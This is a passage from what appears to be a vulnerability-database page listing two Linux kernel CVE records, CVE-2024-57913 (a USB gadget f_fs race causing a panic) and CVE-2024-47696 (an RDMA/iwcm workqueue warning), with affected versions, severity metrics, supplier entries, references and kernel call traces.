Linux	Linux	Affected: ddf8abd2599491cbad959c700b90ba72a5dce8d0 , < bfe60030fcd976e3546e1f73d6d0eb3fea26442e (git) Affected: ddf8abd2599491cbad959c700b90ba72a5dce8d0 , < 3e4d32cc145955d5c56c5498a3ff057e4aafa9d1 (git) Affected: ddf8abd2599491cbad959c700b90ba72a5dce8d0 , < 19fc1c83454ca9d5699e39633ec79ce26355251c (git) Affected: ddf8abd2599491cbad959c700b90ba72a5dce8d0 , < 82f60f3600aecd9ffcd0fbc4e193694511c85b47 (git) Affected: ddf8abd2599491cbad959c700b90ba72a5dce8d0 , < ea6a1498742430eb2effce0d1439ff29ef37dd7d (git) Affected: ddf8abd2599491cbad959c700b90ba72a5dce8d0 , < a8b6a18b9b66cc4c016d63132b59ce5383f7cdd2 (git) Affected: ddf8abd2599491cbad959c700b90ba72a5dce8d0 , < dfc51e48bca475bbee984e90f33fdc537ce09699 (git)
Linux	Linux	Affected: 2.6.35 Unaffected: 0 , < 2.6.35 (semver) Unaffected: 5.4.290 , ≤ 5.4.* (semver) Unaffected: 5.10.234 , ≤ 5.10.* (semver) Unaffected: 5.15.177 , ≤ 5.15.* (semver) Unaffected: 6.1.125 , ≤ 6.1.* (semver) Unaffected: 6.6.72 , ≤ 6.6.* (semver) Unaffected: 6.12.10 , ≤ 6.12.* (semver) Unaffected: 6.13 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "cvssV3_1": {
              "attackComplexity": "HIGH",
              "attackVector": "LOCAL",
              "availabilityImpact": "HIGH",
              "baseScore": 4.7,
              "baseSeverity": "MEDIUM",
              "confidentialityImpact": "NONE",
              "integrityImpact": "NONE",
              "privilegesRequired": "LOW",
              "scope": "UNCHANGED",
              "userInteraction": "NONE",
              "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H",
              "version": "3.1"
            }
          },
          {
            "other": {
              "content": {
                "id": "CVE-2024-57913",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2025-10-01T19:53:20.371926Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "problemTypes": [
          {
            "descriptions": [
              {
                "cweId": "CWE-362",
                "description": "CWE-362 Concurrent Execution using Shared Resource with Improper Synchronization (\u0027Race Condition\u0027)",
                "lang": "en",
                "type": "CWE"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2025-10-01T19:57:15.449Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T20:55:48.145Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/03/msg00001.html"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/03/msg00002.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T12:01:36.588Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "drivers/usb/gadget/function/f_fs.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "bfe60030fcd976e3546e1f73d6d0eb3fea26442e",
              "status": "affected",
              "version": "ddf8abd2599491cbad959c700b90ba72a5dce8d0",
              "versionType": "git"
            },
            {
              "lessThan": "3e4d32cc145955d5c56c5498a3ff057e4aafa9d1",
              "status": "affected",
              "version": "ddf8abd2599491cbad959c700b90ba72a5dce8d0",
              "versionType": "git"
            },
            {
              "lessThan": "19fc1c83454ca9d5699e39633ec79ce26355251c",
              "status": "affected",
              "version": "ddf8abd2599491cbad959c700b90ba72a5dce8d0",
              "versionType": "git"
            },
            {
              "lessThan": "82f60f3600aecd9ffcd0fbc4e193694511c85b47",
              "status": "affected",
              "version": "ddf8abd2599491cbad959c700b90ba72a5dce8d0",
              "versionType": "git"
            },
            {
              "lessThan": "ea6a1498742430eb2effce0d1439ff29ef37dd7d",
              "status": "affected",
              "version": "ddf8abd2599491cbad959c700b90ba72a5dce8d0",
              "versionType": "git"
            },
            {
              "lessThan": "a8b6a18b9b66cc4c016d63132b59ce5383f7cdd2",
              "status": "affected",
              "version": "ddf8abd2599491cbad959c700b90ba72a5dce8d0",
              "versionType": "git"
            },
            {
              "lessThan": "dfc51e48bca475bbee984e90f33fdc537ce09699",
              "status": "affected",
              "version": "ddf8abd2599491cbad959c700b90ba72a5dce8d0",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "drivers/usb/gadget/function/f_fs.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "2.6.35"
            },
            {
              "lessThan": "2.6.35",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.290",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.234",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.177",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.125",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.72",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.12.*",
              "status": "unaffected",
              "version": "6.12.10",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.13",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.290",
                  "versionStartIncluding": "2.6.35",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.234",
                  "versionStartIncluding": "2.6.35",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.177",
                  "versionStartIncluding": "2.6.35",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.125",
                  "versionStartIncluding": "2.6.35",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.72",
                  "versionStartIncluding": "2.6.35",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.12.10",
                  "versionStartIncluding": "2.6.35",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.13",
                  "versionStartIncluding": "2.6.35",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nusb: gadget: f_fs: Remove WARN_ON in functionfs_bind\n\nThis commit addresses an issue related to below kernel panic where\npanic_on_warn is enabled. It is caused by the unnecessary use of WARN_ON\nin functionsfs_bind, which easily leads to the following scenarios.\n\n1.adb_write in adbd               2. UDC write via configfs\n  =================\t             =====================\n\n-\u003eusb_ffs_open_thread()           -\u003eUDC write\n -\u003eopen_functionfs()               -\u003econfigfs_write_iter()\n  -\u003eadb_open()                      -\u003egadget_dev_desc_UDC_store()\n   -\u003eadb_write()                     -\u003eusb_gadget_register_driver_owner\n                                      -\u003edriver_register()\n-\u003eStartMonitor()                       -\u003ebus_add_driver()\n -\u003eadb_read()                           -\u003egadget_bind_driver()\n\u003ctimes-out without BIND event\u003e           -\u003econfigfs_composite_bind()\n                                          -\u003eusb_add_function()\n-\u003eopen_functionfs()                        -\u003effs_func_bind()\n -\u003eadb_open()                               -\u003efunctionfs_bind()\n                                       \u003cffs-\u003estate !=FFS_ACTIVE\u003e\n\nThe adb_open, adb_read, and adb_write operations are invoked from the\ndaemon, but trying to bind the function is a process that is invoked by\nUDC write through configfs, which opens up the possibility of a race\ncondition between the two paths. In this race scenario, the kernel panic\noccurs due to the WARN_ON from functionfs_bind when panic_on_warn is\nenabled. This commit fixes the kernel panic by removing the unnecessary\nWARN_ON.\n\nKernel panic - not syncing: kernel: panic_on_warn set ...\n[   14.542395] Call trace:\n[   14.542464]  ffs_func_bind+0x1c8/0x14a8\n[   14.542468]  usb_add_function+0xcc/0x1f0\n[   14.542473]  configfs_composite_bind+0x468/0x588\n[   14.542478]  gadget_bind_driver+0x108/0x27c\n[   14.542483]  really_probe+0x190/0x374\n[   14.542488]  __driver_probe_device+0xa0/0x12c\n[   14.542492]  driver_probe_device+0x3c/0x220\n[   14.542498]  __driver_attach+0x11c/0x1fc\n[   14.542502]  bus_for_each_dev+0x104/0x160\n[   14.542506]  driver_attach+0x24/0x34\n[   14.542510]  bus_add_driver+0x154/0x270\n[   14.542514]  driver_register+0x68/0x104\n[   14.542518]  usb_gadget_register_driver_owner+0x48/0xf4\n[   14.542523]  gadget_dev_desc_UDC_store+0xf8/0x144\n[   14.542526]  configfs_write_iter+0xf0/0x138"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T21:00:28.956Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/bfe60030fcd976e3546e1f73d6d0eb3fea26442e"
        },
        {
          "url": "https://git.kernel.org/stable/c/3e4d32cc145955d5c56c5498a3ff057e4aafa9d1"
        },
        {
          "url": "https://git.kernel.org/stable/c/19fc1c83454ca9d5699e39633ec79ce26355251c"
        },
        {
          "url": "https://git.kernel.org/stable/c/82f60f3600aecd9ffcd0fbc4e193694511c85b47"
        },
        {
          "url": "https://git.kernel.org/stable/c/ea6a1498742430eb2effce0d1439ff29ef37dd7d"
        },
        {
          "url": "https://git.kernel.org/stable/c/a8b6a18b9b66cc4c016d63132b59ce5383f7cdd2"
        },
        {
          "url": "https://git.kernel.org/stable/c/dfc51e48bca475bbee984e90f33fdc537ce09699"
        }
      ],
      "title": "usb: gadget: f_fs: Remove WARN_ON in functionfs_bind",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-57913",
    "datePublished": "2025-01-19T11:52:35.149Z",
    "dateReserved": "2025-01-19T11:50:08.374Z",
    "dateUpdated": "2026-05-12T12:01:36.588Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-47696 (GCVE-0-2024-47696)

Vulnerability from cvelistv5 – Published: 2024-10-21 11:53 – Updated: 2026-05-12 11:58

Title

RDMA/iwcm: Fix WARNING:at_kernel/workqueue.c:#check_flush_dependency

Summary

In the Linux kernel, the following vulnerability has been resolved: RDMA/iwcm: Fix WARNING:at_kernel/workqueue.c:#check_flush_dependency In the commit aee2424246f9 ("RDMA/iwcm: Fix a use-after-free related to destroying CM IDs"), the function flush_workqueue is invoked to flush the work queue iwcm_wq. But at that time, the work queue iwcm_wq was created via the function alloc_ordered_workqueue without the flag WQ_MEM_RECLAIM. Because the current process is trying to flush the whole iwcm_wq, if iwcm_wq doesn't have the flag WQ_MEM_RECLAIM, verify that the current process is not reclaiming memory or running on a workqueue which doesn't have the flag WQ_MEM_RECLAIM as that can break forward-progress guarantee leading to a deadlock. The call trace is as below: [ 125.350876][ T1430] Call Trace: [ 125.356281][ T1430] <TASK> [ 125.361285][ T1430] ? __warn (kernel/panic.c:693) [ 125.367640][ T1430] ? check_flush_dependency (kernel/workqueue.c:3706 (discriminator 9)) [ 125.375689][ T1430] ? report_bug (lib/bug.c:180 lib/bug.c:219) [ 125.382505][ T1430] ? handle_bug (arch/x86/kernel/traps.c:239) [ 125.388987][ T1430] ? exc_invalid_op (arch/x86/kernel/traps.c:260 (discriminator 1)) [ 125.395831][ T1430] ? asm_exc_invalid_op (arch/x86/include/asm/idtentry.h:621) [ 125.403125][ T1430] ? check_flush_dependency (kernel/workqueue.c:3706 (discriminator 9)) [ 125.410984][ T1430] ? check_flush_dependency (kernel/workqueue.c:3706 (discriminator 9)) [ 125.418764][ T1430] __flush_workqueue (kernel/workqueue.c:3970) [ 125.426021][ T1430] ? __pfx___might_resched (kernel/sched/core.c:10151) [ 125.433431][ T1430] ? destroy_cm_id (drivers/infiniband/core/iwcm.c:375) iw_cm [ 125.441209][ T1430] ? __pfx___flush_workqueue (kernel/workqueue.c:3910) [ 125.473900][ T1430] ? _raw_spin_lock_irqsave (arch/x86/include/asm/atomic.h:107 include/linux/atomic/atomic-arch-fallback.h:2170 include/linux/atomic/atomic-instrumented.h:1302 include/asm-generic/qspinlock.h:111 include/linux/spinlock.h:187 include/linux/spinlock_api_smp.h:111 kernel/locking/spinlock.c:162) [ 125.473909][ T1430] ? __pfx__raw_spin_lock_irqsave (kernel/locking/spinlock.c:161) [ 125.482537][ T1430] _destroy_id (drivers/infiniband/core/cma.c:2044) rdma_cm [ 125.495072][ T1430] nvme_rdma_free_queue (drivers/nvme/host/rdma.c:656 drivers/nvme/host/rdma.c:650) nvme_rdma [ 125.505827][ T1430] nvme_rdma_reset_ctrl_work (drivers/nvme/host/rdma.c:2180) nvme_rdma [ 125.505831][ T1430] process_one_work (kernel/workqueue.c:3231) [ 125.515122][ T1430] worker_thread (kernel/workqueue.c:3306 kernel/workqueue.c:3393) [ 125.515127][ T1430] ? __pfx_worker_thread (kernel/workqueue.c:3339) [ 125.531837][ T1430] kthread (kernel/kthread.c:389) [ 125.539864][ T1430] ? __pfx_kthread (kernel/kthread.c:342) [ 125.550628][ T1430] ret_from_fork (arch/x86/kernel/process.c:147) [ 125.558840][ T1430] ? __pfx_kthread (kernel/kthread.c:342) [ 125.558844][ T1430] ret_from_fork_asm (arch/x86/entry/entry_64.S:257) [ 125.566487][ T1430] </TASK> [ 125.566488][ T1430] ---[ end trace 0000000000000000 ]---

Severity ?

No CVSS data available.

Assigner

Linux

References

9 references

URL	Tags
https://git.kernel.org/stable/c/da2708a19f45b4a72…
https://git.kernel.org/stable/c/29b3bbd912b8db86d…
https://git.kernel.org/stable/c/2efe8da2ddbf87338…
https://git.kernel.org/stable/c/da0392698c62397c1…
https://git.kernel.org/stable/c/a64f30db12bdc937c…
https://git.kernel.org/stable/c/8b7df76356d098f85…
https://git.kernel.org/stable/c/c8b18a75282cfd278…
https://git.kernel.org/stable/c/a09dc967b3c58899e…
https://git.kernel.org/stable/c/86dfdd8288907f03c…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: d91d253c87fd1efece521ff2612078a35af673c6 , < da2708a19f45b4a7278adf523837c8db21d1e2b5 (git) Affected: 7f25f296fc9bd0435be14e89bf657cd615a23574 , < 29b3bbd912b8db86df7a3c180b910ccb621f5635 (git) Affected: 94ee7ff99b87435ec63211f632918dc7f44dac79 , < 2efe8da2ddbf873385b4bc55366d09350b408df6 (git) Affected: 557d035fe88d78dd51664f4dc0e1896c04c97cf6 , < da0392698c62397c19deb1b9e9bdf2fbb5a9420e (git) Affected: dc8074b8901caabb97c2d353abd6b4e7fa5a59a5 , < a64f30db12bdc937c5108158d98c8eab1925c548 (git) Affected: ff5bbbdee08287d75d72e65b72a2b76d9637892a , < 8b7df76356d098f85f3bd2c7cf6fb43f531893d7 (git) Affected: ee39384ee787e86e9db4efb843818ef0ea9cb8ae , < c8b18a75282cfd27822a8cc3c1f005c1ac8d1a58 (git) Affected: aee2424246f9f1dadc33faa78990c1e2eb7826e4 , < a09dc967b3c58899e259c0aea092f421d22a0b04 (git) Affected: aee2424246f9f1dadc33faa78990c1e2eb7826e4 , < 86dfdd8288907f03c18b7fb462e0e232c4f98d89 (git)
Linux	Linux	Affected: 6.11 Unaffected: 0 , < 6.11 (semver) Unaffected: 4.19.323 , ≤ 4.19.* (semver) Unaffected: 5.4.285 , ≤ 5.4.* (semver) Unaffected: 5.10.227 , ≤ 5.10.* (semver) Unaffected: 5.15.168 , ≤ 5.15.* (semver) Unaffected: 6.1.113 , ≤ 6.1.* (semver) Unaffected: 6.6.54 , ≤ 6.6.* (semver) Unaffected: 6.10.13 , ≤ 6.10.* (semver) Unaffected: 6.11.2 , ≤ 6.11.* (semver) Unaffected: 6.12 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-47696",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-10-21T13:05:12.849051Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-10-21T13:14:14.398Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T22:21:01.362Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/03/msg00002.html"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/01/msg00001.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:58:14.517Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-355557.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "drivers/infiniband/core/iwcm.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "da2708a19f45b4a7278adf523837c8db21d1e2b5",
              "status": "affected",
              "version": "d91d253c87fd1efece521ff2612078a35af673c6",
              "versionType": "git"
            },
            {
              "lessThan": "29b3bbd912b8db86df7a3c180b910ccb621f5635",
              "status": "affected",
              "version": "7f25f296fc9bd0435be14e89bf657cd615a23574",
              "versionType": "git"
            },
            {
              "lessThan": "2efe8da2ddbf873385b4bc55366d09350b408df6",
              "status": "affected",
              "version": "94ee7ff99b87435ec63211f632918dc7f44dac79",
              "versionType": "git"
            },
            {
              "lessThan": "da0392698c62397c19deb1b9e9bdf2fbb5a9420e",
              "status": "affected",
              "version": "557d035fe88d78dd51664f4dc0e1896c04c97cf6",
              "versionType": "git"
            },
            {
              "lessThan": "a64f30db12bdc937c5108158d98c8eab1925c548",
              "status": "affected",
              "version": "dc8074b8901caabb97c2d353abd6b4e7fa5a59a5",
              "versionType": "git"
            },
            {
              "lessThan": "8b7df76356d098f85f3bd2c7cf6fb43f531893d7",
              "status": "affected",
              "version": "ff5bbbdee08287d75d72e65b72a2b76d9637892a",
              "versionType": "git"
            },
            {
              "lessThan": "c8b18a75282cfd27822a8cc3c1f005c1ac8d1a58",
              "status": "affected",
              "version": "ee39384ee787e86e9db4efb843818ef0ea9cb8ae",
              "versionType": "git"
            },
            {
              "lessThan": "a09dc967b3c58899e259c0aea092f421d22a0b04",
              "status": "affected",
              "version": "aee2424246f9f1dadc33faa78990c1e2eb7826e4",
              "versionType": "git"
            },
            {
              "lessThan": "86dfdd8288907f03c18b7fb462e0e232c4f98d89",
              "status": "affected",
              "version": "aee2424246f9f1dadc33faa78990c1e2eb7826e4",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "drivers/infiniband/core/iwcm.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "6.11"
            },
            {
              "lessThan": "6.11",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "4.19.*",
              "status": "unaffected",
              "version": "4.19.323",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.285",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.227",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.168",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.113",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.54",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.10.*",
              "status": "unaffected",
              "version": "6.10.13",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.11.*",
              "status": "unaffected",
              "version": "6.11.2",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.12",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "4.19.323",
                  "versionStartIncluding": "4.19.320",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.285",
                  "versionStartIncluding": "5.4.282",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.227",
                  "versionStartIncluding": "5.10.224",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.168",
                  "versionStartIncluding": "5.15.165",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.113",
                  "versionStartIncluding": "6.1.103",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.54",
                  "versionStartIncluding": "6.6.44",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.10.13",
                  "versionStartIncluding": "6.10.3",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.11.2",
                  "versionStartIncluding": "6.11",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.12",
                  "versionStartIncluding": "6.11",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nRDMA/iwcm: Fix WARNING:at_kernel/workqueue.c:#check_flush_dependency\n\nIn the commit aee2424246f9 (\"RDMA/iwcm: Fix a use-after-free related to\ndestroying CM IDs\"), the function flush_workqueue is invoked to flush the\nwork queue iwcm_wq.\n\nBut at that time, the work queue iwcm_wq was created via the function\nalloc_ordered_workqueue without the flag WQ_MEM_RECLAIM.\n\nBecause the current process is trying to flush the whole iwcm_wq, if\niwcm_wq doesn\u0027t have the flag WQ_MEM_RECLAIM, verify that the current\nprocess is not reclaiming memory or running on a workqueue which doesn\u0027t\nhave the flag WQ_MEM_RECLAIM as that can break forward-progress guarantee\nleading to a deadlock.\n\nThe call trace is as below:\n\n[  125.350876][ T1430] Call Trace:\n[  125.356281][ T1430]  \u003cTASK\u003e\n[ 125.361285][ T1430] ? __warn (kernel/panic.c:693)\n[ 125.367640][ T1430] ? check_flush_dependency (kernel/workqueue.c:3706 (discriminator 9))\n[ 125.375689][ T1430] ? report_bug (lib/bug.c:180 lib/bug.c:219)\n[ 125.382505][ T1430] ? handle_bug (arch/x86/kernel/traps.c:239)\n[ 125.388987][ T1430] ? exc_invalid_op (arch/x86/kernel/traps.c:260 (discriminator 1))\n[ 125.395831][ T1430] ? asm_exc_invalid_op (arch/x86/include/asm/idtentry.h:621)\n[ 125.403125][ T1430] ? check_flush_dependency (kernel/workqueue.c:3706 (discriminator 9))\n[ 125.410984][ T1430] ? check_flush_dependency (kernel/workqueue.c:3706 (discriminator 9))\n[ 125.418764][ T1430] __flush_workqueue (kernel/workqueue.c:3970)\n[ 125.426021][ T1430] ? __pfx___might_resched (kernel/sched/core.c:10151)\n[ 125.433431][ T1430] ? destroy_cm_id (drivers/infiniband/core/iwcm.c:375) iw_cm\n[ 125.441209][ T1430] ? __pfx___flush_workqueue (kernel/workqueue.c:3910)\n[ 125.473900][ T1430] ? _raw_spin_lock_irqsave (arch/x86/include/asm/atomic.h:107 include/linux/atomic/atomic-arch-fallback.h:2170 include/linux/atomic/atomic-instrumented.h:1302 include/asm-generic/qspinlock.h:111 include/linux/spinlock.h:187 include/linux/spinlock_api_smp.h:111 kernel/locking/spinlock.c:162)\n[ 125.473909][ T1430] ? __pfx__raw_spin_lock_irqsave (kernel/locking/spinlock.c:161)\n[ 125.482537][ T1430] _destroy_id (drivers/infiniband/core/cma.c:2044) rdma_cm\n[ 125.495072][ T1430] nvme_rdma_free_queue (drivers/nvme/host/rdma.c:656 drivers/nvme/host/rdma.c:650) nvme_rdma\n[ 125.505827][ T1430] nvme_rdma_reset_ctrl_work (drivers/nvme/host/rdma.c:2180) nvme_rdma\n[ 125.505831][ T1430] process_one_work (kernel/workqueue.c:3231)\n[ 125.515122][ T1430] worker_thread (kernel/workqueue.c:3306 kernel/workqueue.c:3393)\n[ 125.515127][ T1430] ? __pfx_worker_thread (kernel/workqueue.c:3339)\n[ 125.531837][ T1430] kthread (kernel/kthread.c:389)\n[ 125.539864][ T1430] ? __pfx_kthread (kernel/kthread.c:342)\n[ 125.550628][ T1430] ret_from_fork (arch/x86/kernel/process.c:147)\n[ 125.558840][ T1430] ? __pfx_kthread (kernel/kthread.c:342)\n[ 125.558844][ T1430] ret_from_fork_asm (arch/x86/entry/entry_64.S:257)\n[  125.566487][ T1430]  \u003c/TASK\u003e\n[  125.566488][ T1430] ---[ end trace 0000000000000000 ]---"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:38:59.622Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/da2708a19f45b4a7278adf523837c8db21d1e2b5"
        },
        {
          "url": "https://git.kernel.org/stable/c/29b3bbd912b8db86df7a3c180b910ccb621f5635"
        },
        {
